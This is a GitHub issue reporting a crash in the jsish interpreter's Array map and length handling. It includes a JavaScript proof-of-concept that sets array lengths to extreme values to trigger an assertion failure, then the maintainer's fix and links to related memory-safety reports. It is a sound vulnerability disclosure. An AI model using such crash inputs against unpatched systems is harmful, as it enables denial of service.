New issue

Jump to bottom

integer overflow #10

Closed rain6851 opened this issue on Apr 13, 2020 · 1 comment

rain6851 commented on Apr 13, 2020

Enviroment

```
operating system: ubuntu18.04
compile command: ./configure && make
test command: ./jsish poc1
```

poc:

```
var o = [
    1,
    2
];
o = o.splice(o.length, o.length, o, o, o.length, 1.79769313486231570e+308);
o = o.toString(o.length);
var a = Object.keys(o);
var YzNz = new RegExp('kf}(Vq)XW8St');
o.length = -o.length;
o.length = 5e-324 >= 9007199254740992;
o.length = o == 1.3;
a.length = -9007199254740990;
o.length = a.length > o;
var FpXa = new RegExp('\fC\xAF\x8F\x93A\xAFuQ=ºC\x99e\xACCýæÜ47\x18');
var APSB = -9007199254740990 != a.length;
APSB = a.slice(a.length, a.length);
var ZDnB = a.map(function () {
}, function () {
});
```

The vulnerability code is in line src / jsiArray.c + 414, the function `jsi_ArrayMapCmd` , the vulnerability code is as follows:

The `curlen` here is also the size of the array, and can be arbitrarily set in the js code, for example in the poc

```
12  a.length = -9007199254740990;
```

The affected code is in the analytic function `Jsi_ObjSetLength` , as shown in the figure:

```
496  {
497      if (obj->isarrlist) {
498          assert(len<=obj->arrMaxSize);
```

The actual array size len is larger than `obj-> arrMaxSize` , which triggers the assert.

pcmacdon pushed a commit that referenced this issue on Apr 13, 2020

`Release "3.0.6": Fix crashes in Array for "integer overflow #10"` ··· `5408a6d`

pcmacdon commented on Apr 13, 2020 Owner

This was a general problem with Array using .length when it shouldn't. Should be fixed.

pcmacdon closed this as completed on Apr 13, 2020

This was referenced on Oct 20, 2020

stack-overflow in glibc regcomp #22
Open

heap-use-after-free at Jsi_ObjFree src/jsiObj.c:333 #23
Closed

heap-buffer-overflow at Jsi_DSAppendLen src/jsiDString.c:109 #24
Closed

heap-use-after-free at jsi_ArrayReduceSubCmd src/jsiArray.c:620 #25
Closed

heap-use-after-free at DeleteTreeValue src/jsiObj.c:170 #26
Closed

heap-buffer-overflow at Jsi_DSAppendLen src/jsiDString.c:109 #28

Closed

heap-buffer-overflow at jsi_utf_tocase src/jsiString.c:396 #29

Closed

This was referenced on Oct 31, 2020

SEGV at Jsi_TreeObjGetValue src/jsiObj.c:11 #30

Closed

heap-buffer-overflow at Jsi_DSAppendLen src/jsiDString.c:109 #31

Closed

heap-buffer-overflow at jsi_utf_tocase src/jsiString.c:396 #32

Closed

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants